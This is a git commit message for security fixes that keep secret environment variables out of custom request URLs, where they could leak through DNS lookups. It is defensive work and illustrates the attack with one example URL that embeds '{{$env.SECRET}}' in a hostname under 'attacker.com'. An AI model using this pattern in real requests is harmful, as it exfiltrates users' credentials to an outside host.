* fix(environment-variables): exclude secret env vars from getVariables() to prevent exfiltration
Secret environment variables (type: 'secret') could be exfiltrated via custom request URLs
(e.g. http://k.{{$env.SECRET}}.attacker.com/) by embedding them in hostnames, leaking values
through DNS queries even when HTTP-level protections are in place.
getVariables() now returns only non-secret variables, while getVariablesAndSecrets() and
renderJsonTemplate() continue to return all variables for system-level configurations.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(environment-variables): preserve secret status when isSecret is omitted, add tests
Only clear the secret marker when isSecret is explicitly false, not when
the options parameter is omitted. This prevents existing callers without
the new parameter from accidentally removing the secret marker.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(plugin-action-custom-request): prevent secret env vars from being resolved in request URL
Secret environment variables could be exfiltrated via DNS by embedding
{{$env.SECRET}} in custom request URLs. Now only non-secret env vars are
resolved in the URL field, while headers/params/body still have access
to all env vars for legitimate use cases (e.g. API keys in headers).
- Add Environment.getNonSecretVariables() (getVariables() unchanged)
- Track secret status via isSecret flag in setVariable()
- Custom request URL resolution uses getNonSecretVariables()
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>